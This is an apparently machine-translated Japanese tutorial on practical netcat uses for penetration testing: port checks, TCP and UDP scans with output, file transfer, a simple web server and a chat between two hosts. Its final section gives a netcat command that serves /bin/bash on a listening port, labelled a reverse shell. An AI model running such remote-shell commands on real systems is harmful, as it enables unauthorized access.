便利なNetcatのトリック

画像



この記事では、人気のあるnetcatネットワークユーティリティと、それを使用する際の便利なトリックを確認します。







Netcatは、TCPおよびUDP接続の確立、そこからのデータの受信、および送信を可能にするUnixユーティリティです。 その有用性とシンプルさにもかかわらず、多くの人はそれを使用する方法を知らず、当然それをバイパスします。







このユーティリティを使用すると、侵入テスト中にいくつかの手順を実行できます。 これは、インストールされたマシンにインストールされたパッケージがない(または注意を引く)、制限がある場合(たとえば、IoT /組み込みデバイス)などに便利です。







netcatでできること:









一般に、netcatを使用すると、unixユーティリティの一部を置き換えることができるため、このツールは特定のタスクを実行するための一種の組み合わせと考えることができます。







実用例



多くの場合、特定のホストを検証する必要がある場合、Telnetまたは独自のサービス部門を使用してホストまたはバナーを識別します。 netcatがどのように役立つか:







開いているTCPポート12345を確認します



$ nc -vn 192.168.1.100 12345
      
      





nc:192.168.1.100 12345(tcp)への接続に失敗しました:接続が拒否されました


 $ nc -v 192.168.1.100 22
      
      





192.168.1.100 22ポート[tcp / ssh]への接続に成功しました!

SSH-2.0-OpenSSH


netcatを使用してTCPポートをスキャンします。



 $ nc -vnz 192.168.1.100 20-24
      
      





このスキャンでは、ポートへの接続はなく、成功した接続の出力のみがあります。







nc:192.168.1.100ポート20(tcp)へのconnectxが失敗しました:接続が拒否されました

nc:192.168.1.100ポート21(tcp)へのconnectxが失敗しました:接続が拒否されました

0個の関連付けが見つかりました

1つの接続が見つかりました:

1:フラグ= 82 <接続済み、優先>

outif en0

src 192.168.1.100ポート50168

dst 192.168.1.100ポート22

ランク情報は利用できません

利用可能なTCP aux情報

192.168.1.100ポート22 [tcp / *]への接続に成功しました!

nc:192.168.1.100ポート23(tcp)へのconnectxが失敗しました:接続が拒否されました

nc:192.168.1.100ポート24(tcp)へのconnectxが失敗しました:接続が拒否されました


UDPポートをスキャンします。



nmapを使用してUDPポートをスキャンするには、ルート権限が必要です。 ない場合は、netcatユーティリティも役立ちます。







 $ nc -vnzu 192.168.1.100 5550-5560
      
      





192.168.1.100ポート5555 [udp / *]への接続に成功しました!


UDPパケットの送信



 $ echo -n "foo" | nc -u -w1 192.168.1.100 161
      
      





これは、ネットワークデバイスと対話するときに役立ちます。







UDPポートでデータを受信し、受信したデータを出力する



 $ nc -u localhost 7777
      
      





最初のメッセージの後、出力は停止します。 複数のメッセージを受け入れる必要がある場合は、trueを使用する必要があります。







 $ while true; do nc -u localhost 7777; done
      
      





ファイル転送。 netcatを使用すると、ファイルを受信するか、リモートホストに転送できます。







 nc 192.168.1.100 5555 < 1.txt
      
      





 nc -lvp 5555 > /tmp/1.txt
      
      





最もシンプルなWebサーバーとしてのNetcact。



Netcatは、htmlページを表示するための最も単純なWebサーバーとして機能します。







 $ while true; do nc -lp 8888 < index.html; done
      
      





http:// netcat host :8888 / index.htmlでブラウザを使用します。 80番のWebサーバーの標準ポートを使用するには、ルート権限でncを実行する必要があります。







 $ while true; do sudo nc -lp 80 < test.html; done
      
      





サイト間のチャット



最初のノード(192.168.1.100):







 $ nc -lp 9000
      
      





2番目のノード:







 $ nc 192.168.1.100 9000
      
      





コマンドの実行後、いずれかのノードのターミナルウィンドウに入力されたすべての文字は、別のノードのターミナルウィンドウに表示されます。







リバースシェル



netcatを使用すると、便利な逆シェルを整理できます。







 nc -e /bin/bash -lp 4444
      
      





これで、リモートホストに接続できます。







 $ nc 192.168.1.100 4444
      
      





あきらめてはいけません。特定のツールがなく、多くの場合非常にかさばらない場合は、即興的な手段で問題を解決できる場合があります。








All Articles